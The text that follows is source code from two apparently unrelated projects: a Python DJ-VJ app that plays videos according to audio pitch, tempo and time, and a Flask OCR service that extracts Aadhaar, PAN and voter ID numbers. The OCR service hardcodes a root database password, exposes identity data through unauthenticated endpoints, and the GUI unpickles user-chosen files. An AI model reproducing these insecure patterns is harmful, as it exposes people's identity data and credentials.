#self.averager.pitch = curr_pitch self.averager.valArr.append(curr_pitch) Averager(self.averager) curr_pitch = self.averager.lastAvg # curr_pitch = self.averager.update_average(curr_pitch) # update current value show.curr_param_values['pitch'] = curr_pitch if 'tempo' in self.listen_params: # analyze sample for aubio's tempo and update current value show.curr_param_values['tempo'] = self.tempo.analyze_tempo( sample) if 'volume' in self.listen_params: # analyze sample for volume and update current value # show.curr_param_values['volume'] = int( # (numpy.sum(sample**2) / len(sample)) * 60000) # analyze sample for spl (measured in dB) show.curr_param_values['volume'] = db_spl(sample) # print(show.curr_param_values['volume']) if 'time' in self.listen_params: # find elapsed timed elapsed_time = time.time() - start_time # update current value show.curr_param_values['time'] = elapsed_time except KeyboardInterrupt: break class Microphone: # pylint: disable=too-few-public-methods """ Microphone sets up instances of pyaudio required to listen to audio via the built in microphone """ def __init__(self): # initialise pyaudio self.pyaudio_instance = pyaudio.PyAudio() # open stream self.buffer_size = 512 self.pyaudio_format = pyaudio.paFloat32 self.n_channels = 1 self.samplerate = 44100 self.stream = self.pyaudio_instance.open(format=self.pyaudio_format, channels=self.n_channels, rate=self.samplerate, input=True, frames_per_buffer=self.buffer_size) self.outputsink = None self.record_duration = None --- FILE SEPARATOR --- """ Runs the GUI for the DJ-VJ app. Displays a splash screen, then Create and Load Show buttons Create Show screen functionality is built out, more to come! """ import sys import pickle import tkinter as tk from tkinter import filedialog, messagebox, Button, Label, Entry, Canvas, PhotoImage, \ StringVar, OptionMenu, NW, END import time import os # global variables RULES = "" # running string of all rules added DISPLAY = "" moments = list() # groups of rules for the show rules_in_mom = 0 moment_path = "" class SplashScreen(tk.Toplevel): """ Displays the splash screen with the DJ-VJ loading screen """ def __init__(self, parent): tk.Toplevel.__init__(self, parent) self.title("DJ-VJ") # doesn't need to be full-screen, looks good smaller self.config(width=800, height=600) # this lets an image be used as the background canvas = Canvas(self, bg="#212121", width=730, height=450) canvas.place(x=0, y=0, relwidth=1, relheight=1) # get relative path for splash screen file splash = resource_path("dj-vj.gif") # print(splash) img = PhotoImage(file=splash) canvas.create_image(30, 120, anchor=NW, image=img) # adds the "loading" label that makes it splash-screenish self.label = Label(self, text="Loading....", bg="#212121", fg="#05F72D", font=("Courier", 72)) self.label.place(relx=.5, rely=.12, anchor="center") # forces this window to be shown self.update() class IntroScreen(tk.Tk): """ The main navigation screen, which has the "Create Screen" and "Load Screen" buttons """ def __init__(self): tk.Tk.__init__(self) # sets title bar self.title("DJ-VJ") # sets background of screen self.config(bg="#212121") # makes full-screen self.attributes('-fullscreen', True) # this creates text and customizes it self.label = Label(self, text="Welcome to DJ-VJ!", bg="#212121", fg="#05F72D", font=("Courier", 72)) # sets it in the middle of the screen, about 1/4 of the way down self.label.place(relx=.5, rely=.25, anchor="center") # creates the buttons for create, load, and use default show self.create_button = Button(self, text="Create\nShow", bg='#05F72D', fg="#000000", highlightbackground='#05F72D', font=("Courier", 48), height=5, width=10, command=self.create) self.create_button.place(relx=.33, rely=.75, anchor="center") self.load_button = Button(self, text="Load\nShow", bg='#05F72D', fg="#000000", highlightbackground='#05F72D', font=("Courier", 48), height=5, width=10, command=self.load) self.load_button.place(relx=.66, rely=.75, anchor="center") # Allows for easy exit from Intro Screen self.exit_button = Button(self, text="X", bg='#05F72D', fg="#000000", highlightbackground='#05F72D', font=("Courier", 48), height=1, width=2, command=self.exit) self.exit_button.place(relx=.9, rely=.1, anchor="center") # after all the main screen is set up, get rid of it so the splash screen can show self.withdraw() # display splash screen splash = SplashScreen(self) # for 6 seconds time.sleep(6) # kill splash screen splash.destroy() # show main screen again self.deiconify() def load(self): """ loads the user's chosen file, reads data, parses the data into audio_attr, rules, values, and videos and appends these lists to the show list that is used by main.py """ data = "" messagebox.showinfo( "Load a Show", "Please load a .djvj file to start the show!") filename = filedialog.askopenfilename(initialdir="/home/Documents", title="Select Show", filetypes=(("djvj files", "*.djvj"), ("all files", "*.*"))) try: data = pickle.load(open("%s" % filename, "rb")) except pickle.UnpicklingError: messagebox.showerror("ERROR", "Error: Corrupt .djvj file. Please select a valid file.") except FileNotFoundError: messagebox.showerror("ERROR", "No .djvj file selected") if data != "": messagebox.showinfo( "Load a Show", "Loading the DJ-VJ show contents....") rule_list = data.split("\n") error = False # not a invalid path rule_list.pop(0) curr_mom = list() # a list of the rules in the current moment for rule in rule_list: single_mom = list() # create a list of rules for this moment print(rule) if "Moment" in rule: # switch to a new moment if curr_mom: moments.append(curr_mom) curr_mom = list() # clear the list else: attribute = rule.split("\t") single_mom.append(attribute[1]) single_mom.append(attribute[2]) single_mom.append(attribute[3]) if os.path.exists(attribute[5]): single_mom.append(attribute[5]) else: messagebox.showerror("ERROR", "Error: File path %s does not exist.\n" "Please choose a file with " "valid file paths." % attribute[5]) error = True break curr_mom.append(single_mom) if error: self.load() else: # right now, just for error checking messagebox.showinfo("Load Show", "The rules for this video are:\n" + data) messagebox.showinfo("Video Controls", "To pause the video, press \"p\"" "\nTo resume the paused video, press \"r\"" "\nTo end the program, press \"k\"") self.destroy() def create(self): """ pulls up create screen """ CreateScreen(self) def exit(self): """ exits screen """ self.destroy() sys.exit() class CreateScreen(tk.Toplevel): """ Users can create a .djvj file by adding rules and setting target values They can also specify the file name/file save location when saving """ VIDEO_PATH = "" def __init__(self, parent): tk.Toplevel.__init__(self, parent) self.title = "Create Screen" # sets background of screen self.config(bg="#212121") # makes full-screen self.attributes('-fullscreen', True) Label(self, text="Create a Show!", bg="#212121", fg="#05F72D", font=("Courier", 48)).place(relx=.5, rely=.06, anchor="center") Label(self, text="Add rules to your show by filling out the form below.\n" "To add a rules, select \"Add Rule\"" "\n Moments are groups of rules " "for the show to interpret together.\n" "To add a new \"moment\" to your show, " "select \"Add Moment\", and then add rules " "to that moment. \n When finished, " "click \"Create Show\".", bg="#212121", fg="#05F72D", font=("Courier", 18)).place(relx=.5, rely=.17, anchor="center") Label(self, text="If", bg="#212121", fg="#05F72D", font=("Courier", 36)).place(relx=.35, rely=.3, anchor="center") # the sound attribute being tracked self.attr = StringVar(self) self.attr.set(" ") # default value self.set_attribute = OptionMenu( self, self.attr, "pitch", "tempo", "time") self.set_attribute.place(relx=.42, rely=.3, anchor="center") # the sign (ie greater than, less than, etc) self.sign = StringVar(self) self.sign.set(" ") # default value self.set_sign = OptionMenu(self, self.sign, ">", "<", "=") self.set_sign.place(relx=.48, rely=.3, anchor="center") # the target value self.target_value = Entry(self) self.target_value.place(relx=.6, rely=.3, anchor="center") Label(self, text=":", bg="#212121", fg="#05F72D", font=("Courier", 36)) \ .place(relx=.68, rely=.3, anchor="center") # buttons Button(self, text='Add Rule', fg="#000000", command=self.addition) \ .place(relx=.42, rely=.4, anchor="center") Button(self, text='Remove Rule', fg="#000000", command=self.remove) \ .place(relx=.52, rely=.4, anchor="center") Button(self, text='Add Moment', fg="#000000", command=self.add_moment) \ .place(relx=.62, rely=.4, anchor="center") Button(self, text='Create File', fg="#000000", command=self.create_file) \ .place(relx=.52, rely=.47, anchor="center") # Allows for easy exit from Create Screen self.exit_button = Button(self, text="Back", bg='#05F72D', fg="#000000", highlightbackground='#05F72D', font=("Courier", 24), height=1, width=5, command=self.exit) self.exit_button.place(relx=.9, rely=.1, anchor="center") self.w = Canvas(self, width=self.winfo_width(), height=1000) self.w.place(relx=.25, rely=.5) # shows running rules self.display = Label(self.w, text="", bg="#212121", fg="#05F72D", font=("Courier", 16)) self.display.pack() self.add_moment() def add_moment(self): """ Separates groups of rules """ global RULES, DISPLAY messagebox.showinfo( "Add a Moment", "Please choose a video to associate with this moment.") global VIDEO_PATH, moment_path, rules_in_mom smideo_path = filedialog.askopenfilename(initialdir="/home/Documents", title="Select video for current moment", filetypes=(("mov files", "*.MOV"), ("mp4 files", "*.mp4"), ("all files", "*.*"))) if smideo_path == "": if RULES == "": messagebox.showerror("Error", "No video selected for first moment.") self.destroy() else: messagebox.showerror("Error", "No video selected. Staying in current moment.") else: rules_in_mom = 0 VIDEO_PATH = smideo_path RULES = RULES + "\n Moment -- Video: " + VIDEO_PATH DISPLAY = DISPLAY + "\n Moment -- Video: " + VIDEO_PATH moment_path = "\n Moment -- Video: " + VIDEO_PATH self.rule_added() def addition(self): """ lets users add rules """ # basic error checking if self.attr.get() == "" or self.sign.get() == "" \ or self.target_value.get() == "": messagebox.showinfo("Error", "Please fill out all fields.") return try: type(int(self.target_value.get())) except ValueError: messagebox.showinfo("Error", "Please enter an integer.") self.target_value.delete(0, END) return new_rule = "If\t" + self.attr.get() \ + "\t" + self.sign.get() + "\t" + self.target_value.get() \ + "\t play\t" new_display = "If\t" + self.attr.get() \ + "\t" + self.sign.get() + "\t" + self.target_value.get() print("Adding: " + new_rule + VIDEO_PATH) global rules_in_mom rules_in_mom = rules_in_mom + 1 global RULES RULES = RULES + "\n" + new_rule + VIDEO_PATH global DISPLAY DISPLAY = DISPLAY + "\n" + new_display self.rule_added() # clears all the fields self.target_value.delete(0, END) self.attr.set(" ") self.sign.set(" ") def create_file(self): """ creates the file once users are finished """ global RULES RULES = RULES + "\nMoment" # lets user choose name/save location filename = filedialog.asksaveasfilename(initialdir="/home/Documents", title="Save file location") if filename != "": # adds to file pickle.dump(RULES, open("%s.djvj" % filename, "wb")) time.sleep(2) self.destroy() def rule_added(self): """ shows running total of rules to be added """ global DISPLAY self.display.configure(text="%s" % DISPLAY) def remove(self): """ removes last rule added """ global RULES, VIDEO_PATH, DISPLAY, rules_in_mom, moment_path # basic error checking if RULES == "": messagebox.showinfo("Error", "Rules are empty!") rules_idx = RULES.rfind("\n") disp_idx = DISPLAY.rfind("\n") # take everything up until the second to last \n, which removes the last rule if rules_idx >= 0: RULES = RULES[:rules_idx] DISPLAY = DISPLAY[:disp_idx] rules_in_mom = rules_in_mom - 1 if rules_in_mom < 0: print("Deleting a moment!") RULES = RULES.replace(moment_path, "") del_vidpath = RULES[RULES.rfind("play"):].replace("play\t", "") print(del_vidpath) VIDEO_PATH = del_vidpath self.rule_added() def exit(self): """ Warns user about exiting without saving. """ # if user selects "Yes", unsaved = true # else, just close out of the message dialog unsaved = messagebox.askyesno("Unsaved Show", "The current show is unsaved. Would you like to exit?\n" "Select \"Yes\" to exit without saving.\n " "Select \"No\" to return to the show screen to save.") if unsaved: global RULES, DISPLAY RULES = DISPLAY = "" self.destroy() def resource_path(relative_path): """ Get absolute path to resource, works for dev and for PyInstaller src: https://stackoverflow.com/questions/31836104/pyinstaller-and-onefile-how-to-include-an-image-in-the-exe-file """ try: # PyInstaller creates a temp folder and stores path in _MEIPASS base_path = sys._MEIPASS except Exception: base_path = os.path.abspath("./djvj") return os.path.join(base_path, relative_path) def init(): """ allows this code to be run from main.py """ IntroScreen().mainloop() --- FILE SEPARATOR --- #! /usr/bin/env python3 """ interpreter is the primary decision maker for deciding what video needs to be played based on the Show.curr_param_values __author__ = "Matthew J. Smith" __email__ = "mjs10@email.sc.edu" """ import operator import time class Interpreter: """ Interpreter class sets up an instance of an Interpreter requires a Show class """ def __init__(self, show): self.show = show # the show Interpreter is interpreting self.sleep = .1 # sleep in between current video updates # signals self.kill = False # dictionary to used to convert string operators to actual operators self.ops = { "<": operator.le, ">": operator.gt, "=": operator.eq, } def interpret(self): """ interpreter compares the current parameter values to the values in each Show.Moment to see if they match If it finds a match, then updates the Show current video If it does not find a match, then the show was not created correctly requires each Moment to only have one video """ # main interpreter loop while not self.kill: # possible moments possible_moments = {} # for each moment for moment in self.show.moments: # check if moment video is already the current video being played # if so, no need to interpret if moment.video == self.show.curr_video: continue # for each param in a moment for index, param in enumerate(moment.params): # get current value of param curr_param_value = self.show.curr_param_values[param] # get value of moment param moment_param_value = moment.values[index] # compare current param value to show rule value # using rule operator # if true, add to possible values and continue to next moment param if self.ops[moment.operators[index]](curr_param_value, moment_param_value): possible_moments[moment] = [moment.name, param] continue # otherwise remove moment (or do nothing) possible_moments.pop(moment, None) # break to next moment break # check if no possible_moments # most likely because doesnt need to update current video # could be because of show logic error if len(possible_moments) == 0: continue # check if more than one possible moments # if so, show was not created correctly if len(possible_moments) > 1: print("Show Logic Error") for moment in possible_moments: print(moment.name) time.sleep(self.sleep) continue # get moment that was found to match current audio values moment, _ = possible_moments.popitem() # update the show current video self.show.curr_video = moment.video # delay next interpret to save processing power time.sleep(self.sleep) --- FILE SEPARATOR --- #! /usr/bin/env python3 """ moment.py is used to convert the GUI list of moments to a list of Moments __author__ = "Matthew J. Smith" __email__ = "mjs10@email.sc.edu" """ class Moment: """ Moment class sets up an instance of a Moment """ def __init__(self, name, params, operators, values, video): self.name = name self.params = params # list of params self.operators = operators # list of operators self.values = values # list of values self.video = video # string of path to video def create_moments(show_params): """ create_moments converts the GUI list of moments to a list of Moments show_param = list of moments moment = ['param', 'operator', value, 'video', 'param', ...] returns list of Moments class """ # list of Moments moments = [] # for each moment in show_params for i, _ in enumerate(show_params): # if empty list, skip if show_params[i] == []: continue # instantiate Moment moment = Moment(("moment" + str(i + 1)), [], [], [], show_params[i][0][3]) # for each rule in a moment for rule in show_params[i]: moment.params.append(rule[0]) # add the param moment.operators.append(rule[1]) # add the operator moment.values.append(int(rule[2])) # add the value # check if vide in each rule are the same if moment.video != rule[3]: print("moment video error") moment.video = rule[3] # add the video #print(vars(moment)) # add Moment to list of Moments moments.append(moment) #print(vars(moments)) return moments --- FILE SEPARATOR --- #! /usr/bin/env python3 """ Pitch utilizes aubio's' pitch analysis function __author__ = "Matthew J. Smith" __email__ = "mjs10@email.sc.edu" """ from math import log2 from aubio import pitch class Pitch: # pylint: disable=too-few-public-methods """ Pitch sets up an instance of aubio's pitch analyzer """ def __init__(self, audio_input, window_size, hop_size): # define input self.input = audio_input # define each sample size # fft size - basically resolution of samples, in multiples of 1024 # the higher the resolution, the more computation time needed self.window_size = window_size # hop size - the size of each sample # 512 required, otherwise pitch_analyzer returns error self.hop_size = hop_size # create aubio pitch instance # default is yinfft algorithm # options = default, schmitt, fcomb, mcomb, yin self.pitch_analyzer = pitch( "default", self.window_size, self.hop_size, self.input.samplerate) # keep up with last pitch in case of 0 self.lastFreq = 0 def analyze_pitch(self, sample): """ analyze_pitch analyzes the pitch of a given audio sample """ freq = self.pitch_analyzer(sample)[0] # confidence = self.pitch_analyzer.get_confidence() if freq != 0: self.lastFreq = freq return freq return self.lastFreq def get_pitch(freq): """ get_pitch takes an integer representing a frequency (in Hz) and returns the musical note representation of that frequency """ # equations and formulas based on musical note mathematical theory # example is found here: # https://www.johndcook.com/blog/2016/02/10/musical-pitch-notation/ # edge cases # lowest musical notation or highest humans can hear if freq < 16.35 or freq > 20000: return "" # define tuning, standard is A4 = 440 Hz a_4 = 440 # find C0 based on tuning c_0 = a_4 * pow(2, -4.75) # define note names name = ["C", "C#", "D", "D#", "E", "F", "F#", "G", "G#", "A", "A#", "B"] # find number of half steps from C0 half_steps = round(12 * log2(freq / c_0)) # find the correct octave octave = half_steps // 12 # find the index of the note name_index = half_steps % 12 # return note name with correct octave return name[name_index] + str(octave) --- FILE SEPARATOR --- #! /usr/bin/env python3 """ show is the primary driver for the program allows for data to be shared between the different components of the program __author__ = "Matthew J. Smith" __email__ = "mjs10@email.sc.edu" """ import threading import djvj.audio_listener as audio import djvj.interpreter as interpreter import djvj.video_player as video_player class Show: """ Show sets up an instance of a show and initalizes instances of needed functions """ def __init__(self, moments): """ moments = list of Moments class """ #print("Moments = ", moments.video) # list of Moments self.moments = moments # get listening params self.params = [] for moment in moments: self.params += moment.params #print("SHOW CLASS", self.params) # initialize list of current audio values at a given moment of time # populated in audio_listener self.curr_param_values = {} # initialze audio listener, takes a Show self.audio_listener = audio.AudioListener(self) # initialize interpreter self.interpreter = interpreter.Interpreter(self) # initialze video_player, takes a Show self.curr_video = "" # video that should be currently playing self.video_player = video_player.VideoPlayer(self) def start(self): """ start() starts the show """ try: # start audio_listener thread # updates show.curr_param_values audio_thread = threading.Thread( target=self.audio_listener.analyze, args=(self,)) audio_thread.start() # start interpreter thread # updates show.curr_video interpreter_thread = threading.Thread( target=self.interpreter.interpret) interpreter_thread.start() # start video player # compares show.curr_video to video_player.curr_video and # updates accordingly self.video_player.play_video() # make threads return self.audio_listener.kill = True self.interpreter.kill = True return except KeyboardInterrupt: pass --- FILE SEPARATOR --- #! /usr/bin/env python3 """ Tempo utilizes aubio's tempo analysis function __author__ = "Matthew J. Smith" __email__ = "mjs10@email.sc.edu" """ from aubio import tempo import numpy class Tempo: """ Tempo sets up an instance of aubio's tempo analyzer """ def __init__(self, audio_input, window_size, hop_size): # define input self.input = audio_input # define each sample size # fft size - basically resolution of samples, in multiples of 1024 # the higher the resolution, the more computation time needed self.window_size = window_size # hop size - the size of each sample # 512 required, otherwise pitch_analyzer returns error self.hop_size = hop_size # create aubio tempo instance self.tempo_analyzer = tempo( "specdiff", self.window_size, self.hop_size, self.input.samplerate) # slice of beats to keep up with beats over time self.beats = [] # keep up with current tempo self.curr_tempo = 0 def analyze_tempo(self, sample): """ analyze_tempo takes in a sample and analzes the beat of that sample """ # get beat from sample is_beat = self.tempo_analyzer(sample) # if has a beat if is_beat: this_beat = self.tempo_analyzer.get_last_s() # add beat to list of beats self.beats.append(this_beat) # if have at least 4 beats, analyze if len(self.beats) > 4: # analyze tempo self.curr_tempo = int(beats_to_bpm(self.beats)) # remove beats that were analyzed del self.beats[0] # return bpm return self.curr_tempo # if not enough beats to analyze, return last known value return self.curr_tempo def beats_to_bpm(beats): """ beats_to_bpm takes in a list of beats and returns the bpm """ # if enough beats are found, convert to periods then to bpm bpms = 60. / numpy.diff(beats) return numpy.median(bpms) --- FILE SEPARATOR --- """ video_player displays videos that are determined by interpreter.py __author__ = "Matthew J. Smith, Lothrop Richards, Timothy Dyar" __email__ = "mjs10@email.sc.edu, lothropr@email.sc.edu, tdyar@email.sc.edu" """ import os import numpy as np import tkinter import cv2 as visual class VideoPlayer: """ VideoPlayer is the primary class for playing videos It takes a Show """ def __init__(self, show): self.curr_video = "" # keeps track of the current video to be played self.show = show # show instance that is using this video_player # get screen dimensions root = tkinter.Tk() self.window_x = root.winfo_screenheight() self.window_y = root.winfo_screenwidth() # signals self.pause = False # keeps track if video is paused self.kill = False # keeps track if video_player is killed def play_video(self): """ play_video checks if the Show's current video has been updated and plays the current video """ # create main window for video playback visual.namedWindow("window", visual.WND_PROP_FULLSCREEN) # make window full screen visual.setWindowProperty( "window", visual.WND_PROP_FULLSCREEN, visual.WINDOW_FULLSCREEN) # update video loop while True: # initialze current video self.curr_video = self.show.curr_video # get current path my_path = os.path.abspath(os.path.dirname(__file__)) # add video path to current path video = os.path.join(my_path, self.curr_video) # open video cap = visual.VideoCapture(video) # main playback loop - plays the video while cap.isOpened(): # check signals # if pause if self.pause: # release current video cap.release() # closes playing window # pause the video self.pause_video() # after unpausing, open video cap = visual.VideoCapture(video) # if kill if self.kill: # closes existing window visual.destroyAllWindows() # exit video_player return # check if current video has been updated if self.curr_video != self.show.curr_video: break # if so, break to update player current video # get next frame: returns bool, image hasFrame, frame = cap.read() # resize the frame if not hasFrame: break frame = visual.resize( frame, (self.window_y, self.window_x)) # show the frame visual.imshow('window', frame) # get waitKey value key = visual.waitKey(1) # if have waitKey, check what key was pressed if key & 0xFF == ord('p'): # set pause video bool self.pause = True elif key & 0xFF == ord('k'): # set kill video_player bool self.kill = True return def pause_video(self): """ pause_video displays a black image when the user pauses the show by pressing 'p' """ # create numpy array of the size of the screen black_image = np.zeros( [self.window_x, self.window_y, 3], dtype=np.uint8) # fill with zeros for black pixels black_image.fill(0) # create window visual.namedWindow("window", visual.WND_PROP_FULLSCREEN) # make window full screen visual.setWindowProperty( "window", visual.WND_PROP_FULLSCREEN, visual.WINDOW_FULLSCREEN) # display image visual.imshow("window", black_image) # while showing black while True: # get waitKey value key = visual.waitKey(1) # if r key is clicked exit out of black image and display current playing video if key & 0xFF == ord('r'): self.pause = False break # if k is pressed, kill program elif key & 0xFF == ord('k'): self.kill = True return return --- FILE SEPARATOR --- #! /usr/bin/env python3 """ main run file for the project sets up necessary instances and passing data between GUI and backend __author__ = "Matthew J. Smith, Abby Holdeman" __email__ = "mjs10@email.sc.edu, holdeman@email.sc.edu" """ import djvj.gui as gui import djvj.moment as moment import djvj.show as show # # initialize GUI gui.init() # print(gui.moments) MOMENTS = moment.create_moments(gui.moments) # initialize show SHOW = show.Show(MOMENTS) # start show SHOW.start() --- FILE SEPARATOR --- """ This test file tests the get_pitch function found in the Pitch class which takes in a frequency in Hz and converts it to its musical note representation __author__ = "Matthew J. Smith" __email__ = "mjs10@email.sc.edu" """ import unittest import djvj.pitch as pitch class TestFreqToNote(unittest.TestCase): """ This is the test case for the get_pitch function """ @classmethod def setUpClass(cls): print("Unit Test: freq_to_note") @classmethod def tearDownClass(cls): """ deconstructs test class """ print('\n') def setUp(self): # values referenced from here: http://pages.mtu.edu/~suits/notefreqs.html self.test_1 = 440 # A4 self.test_2 = 16.35 # C0 lowest musical note notation # in between D#0 and E0, should round down to D#0, lowest pitch humans can hear self.test_3 = 20 self.test_4 = 261.63 # C4, middle C self.test_5 = 7902.13 # B8 highest musical note notation self.test_6 = 20000.01 # highest pitch humans can hear self.test_7 = 84 # in between E2 and F2, should round down to E2 b/c difference is closer self.test_8 = 85 # in between E2 and F2, should round up to F2 , b/c difference is closer def test_1(self): # pylint: disable=E0202 """ This method calls the get_pitch method on the test_1 """ # test 1 self.test_1 = pitch.get_pitch(self.test_1) self.assertEqual(self.test_1, "A4") def test_2(self): # pylint: disable=E0202 """ This method calls the get_pitch method on the test_2 """ # test 2 self.test_2 = pitch.get_pitch(self.test_2) self.assertEqual(self.test_2, "C0") def test_3(self): # pylint: disable=E0202 """ This method calls the get_pitch method on the test_3 """ # test 3 self.test_3 = pitch.get_pitch(self.test_3) self.assertEqual(self.test_3, "D#0") def test_4(self): # pylint: disable=E0202 """ This method calls the get_pitch method on the test_4 """ # test 4 self.test_4 = pitch.get_pitch(self.test_4) self.assertEqual(self.test_4, "C4") def test_5(self): # pylint: disable=E0202 """ This method calls the get_pitch method on the test_5 """ # test 5 self.test_5 = pitch.get_pitch(self.test_5) self.assertEqual(self.test_5, "B8") def test_6(self): # pylint: disable=E0202 """ This method calls the get_pitch method on the test_6 """ # test 6 self.test_6 = pitch.get_pitch(self.test_6) self.assertEqual(self.test_6, "") def test_7(self): # pylint: disable=E0202 """ This method calls the get_pitch method on the test_7 """ # test 7 self.test_7 = pitch.get_pitch(self.test_7) self.assertEqual(self.test_7, "E2") def test_8(self): # pylint: disable=E0202 """ This method calls the get_pitch method on the test_8 """ # test 8 self.test_8 = pitch.get_pitch(self.test_8) self.assertEqual(self.test_8, "F2") if __name__ == '__main__': unittest.main() --- FILE SEPARATOR --- """ test_interpreter tests interpter.py __author__ = "Matthew J. Smith" __email__ = "mjs10@email.sc.edu" """ import unittest import threading import time import djvj.moment as moment import djvj.show as show import djvj.interpreter as interpreter class TestInterpreter(unittest.TestCase): """ interpreter testing class """ @classmethod def setUpClass(cls): """ sets up test class """ print("Unit Test: interpreter two moments, two rules") @classmethod def tearDownClass(cls): """ deconstructs test class """ print('\n') def setUp(self): # set up list of Moments gui_moments = [[['pitch', '<', '500', './test/test_assets/video1.MOV'], ['time', '<', '10', './test/test_assets/video1.MOV']], [['pitch', '>', '500', './test/test_assets/video2.mp4'], ['time', '>', '10', './test/test_assets/video2.mp4']]] show_moments = moment.create_moments(gui_moments) # set up show self.test_show_1 = show.Show(show_moments) # set up interpreter self.test_interpreter = interpreter.Interpreter(self.test_show_1) # start interpreter interpreter_thread = threading.Thread( target=self.test_interpreter.interpret) interpreter_thread.start() def tearDown(self): self.test_interpreter.kill = True def test_1(self): """ test_1 sets show pitch < 500 and time < 10 expect video1 """ # test_1 show parameter values self.test_show_1.curr_param_values = { 'pitch': 400, 'time': 5 } time.sleep(1) self.assertEqual(self.test_show_1.curr_video, './test/test_assets/video1.MOV') def test_2(self): """ test_2 sets show pitch to > 500 and time > 10 expect video2 """ self.test_show_1.curr_param_values = { 'pitch': 600, 'time': 15 } time.sleep(1) self.assertEqual(self.test_show_1.curr_video, './test/test_assets/video2.mp4') if __name__ == '__main__': unittest.main()
[ "/create_screen_behavior.py", "/djvj/Averager.py", "/djvj/Bugger.py", "/djvj/audio_listener.py", "/djvj/gui.py", "/djvj/interpreter.py", "/djvj/moment.py", "/djvj/pitch.py", "/djvj/show.py", "/djvj/tempo.py", "/djvj/video_player.py", "/main.py", "/test/test_freq_to_note.py", "/test/test_interpreter_two_moments_two_rules.py" ]
0xDeeCee/ocr-document-scanner
from PIL import Image import pytesseract import re def aadhar(file): text = pytesseract.image_to_string(Image.open(file)) gender = None uid = None #get gender for line in text.split('\n'): words = line.split() for word in words: if(re.search('(Female|Male|emale|male|ale|FEMALE|MALE|EMALE)$',word)): gender = word break #get aadhar number for line in text.split('\n'): if (re.search('\d{4}\s\d{4}\s\d{4}', line)): uid = line uid = uid.replace(" ", "") break return (uid,gender) --- FILE SEPARATOR --- from flask import Flask from flask import g from flask import Response from flask import request from flask import jsonify from flaskext.mysql import MySQL from utils import s3_upload from aadharExtract import aadhar from voterIdExtract import voter_id from panCardExtract import pan_card import cStringIO import datetime app = Flask(__name__) mysql = MySQL() app.config['MYSQL_DATABASE_USER'] = 'root' app.config['MYSQL_DATABASE_PASSWORD'] = 'password' app.config['MYSQL_DATABASE_DB'] = 'ocr_scanner' app.config['MYSQL_DATABASE_HOST'] = 'localhost' mysql.init_app(app) ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg']) ALLOWED_DOCTYPE = set(['aadhar', 'pan_card', 'voter_id']) @app.before_request def db_connect(): g.conn = mysql.connect() g.cursor = g.conn.cursor() @app.after_request def db_disconnect(response): g.cursor.close() g.conn.close() return response def query_db(query, args=(), one=False): g.cursor.execute(query, args) rv = [dict((g.cursor.description[idx][0], value) for idx, value in enumerate(row)) for row in g.cursor.fetchall()] return (rv[0] if rv else None) if one else rv def email_exists(email_id): result = g.cursor.execute("SELECT id FROM users where email= %s",email_id) if(result>0): return True else: return False @app.route("/") def hello(): return "hello" @app.route("/register", methods=['POST']) def register(): if(request.data): req_json = request.get_json() if(email_exists(req_json['email'])): resp = jsonify({"message":"Email already exist"}) else: g.cursor.execute("INSERT INTO users (name, email) VALUES (%s,%s)", (req_json['name'], req_json['email'])) g.conn.commit() id = g.cursor.lastrowid resp = jsonify({"message":"User Registered Successfully","id":id}) else: resp = jsonify({"message":"No Post data found"}) return resp @app.route("/user/<user_id>", methods=['GET']) def userInfo(user_id): result = query_db("SELECT * FROM users where id =%s",user_id) return jsonify(result) def user_exist(user_id): result = g.cursor.execute("SELECT id FROM users where id= %s", user_id) if (result > 0): return True else: return False def file_exist(user_id,file_type): if(file_type=="aadhar"): result = g.cursor.execute("SELECT id FROM users where id=%s AND gender IS NOT NULL AND aadhar_uid IS NOT NULL ", user_id) if(file_type=="pan_card"): result = g.cursor.execute("SELECT id FROM users where id=%s AND dob IS NOT NULL AND pan_number IS NOT NULL ", user_id) if(file_type=="voter_id"): result = g.cursor.execute("SELECT id FROM users where id=%s AND voter_id IS NOT NULL", user_id) if (result > 0): return True else: return False def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS @app.route("/upload/<user_id>/<doc_type>", methods=['POST']) def add(user_id,doc_type): status = False if user_exist(user_id) and doc_type in ALLOWED_DOCTYPE: if file_exist(user_id,doc_type): return jsonify('Document already uploaded') if 'file' not in request.files: return jsonify('No file part') file = request.files['file'] if file.filename == '': return jsonify('No selected file') if file and allowed_file(file.filename): file_contents = cStringIO.StringIO(file.read()) if(doc_type=="aadhar"): uid, gender = aadhar(file_contents) if uid is not None and gender is not None: g.cursor.execute("""UPDATE users SET aadhar_uid=%s,gender=%s WHERE id=%s""", (uid, gender,user_id)) g.conn.commit() status = True if(doc_type=="pan_card"): dob, pan = pan_card(file_contents) if dob is not None and pan is not None: dob= datetime.datetime.strptime(dob, "%d/%m/%Y").strftime("%Y-%m-%d") g.cursor.execute("""UPDATE users SET dob=%s,pan_number=%s WHERE id=%s""", (dob, pan,user_id)) g.conn.commit() status = True if(doc_type=="voter_id"): v_id = voter_id(file_contents) if v_id is not None: g.cursor.execute("""UPDATE users SET voter_id=%s WHERE id=%s""", (v_id,user_id)) g.conn.commit() status = True if(status): result = query_db("SELECT access_key,secret_key FROM aws_credentials") s3_upload(result[0]['access_key'],result[0]['secret_key'],file,user_id,doc_type) return jsonify('Document Uploaded Successfully') else: return jsonify('Unable to extract information from document. Please upload another high resolution picture.') else: return jsonify("Incorrect user id or document type") if __name__ == "__main__": app.run() --- FILE SEPARATOR --- from PIL import Image import pytesseract import re def pan_card(file): text = pytesseract.image_to_string(Image.open(file)) dob = None pan_number = None for line in text.split('\n'): line = line.replace(" ", "") if (re.search('(0?[1-9]|[12][0-9]|3[01])[\/\-](0?[1-9]|1[012])[\/\-]\d{4}', line)): dob = line if (re.search('[A-Za-z]{5}\d{4}[A-Za-z]{1}', line)): pan_number = line break return(dob,pan_number) --- FILE SEPARATOR --- import boto from boto.s3.key import Key Bucketname = 'bucketdocuments' def s3_upload(access_key,secret_key,data_file,user_id,doc_type): conn = boto.connect_s3(access_key, secret_key,host='s3.ap-south-1.amazonaws.com') bucket = conn.get_bucket(Bucketname) k = Key(bucket) file_contents = data_file.read() # Use Boto to upload the file to the S3 bucket k.key = doc_type+"_"+user_id print "Uploading some data to " + Bucketname + " with key: " + k.key k.set_contents_from_string(file_contents) --- FILE SEPARATOR --- from PIL import Image import pytesseract import re def voter_id(file): text = pytesseract.image_to_string(Image.open(file)) voter_id = None for line in text.split('\n'): words = line.split() for word in words: if(re.search('[A-Za-z]{3}\d{7}',word)): voter_id = word break return voter_id
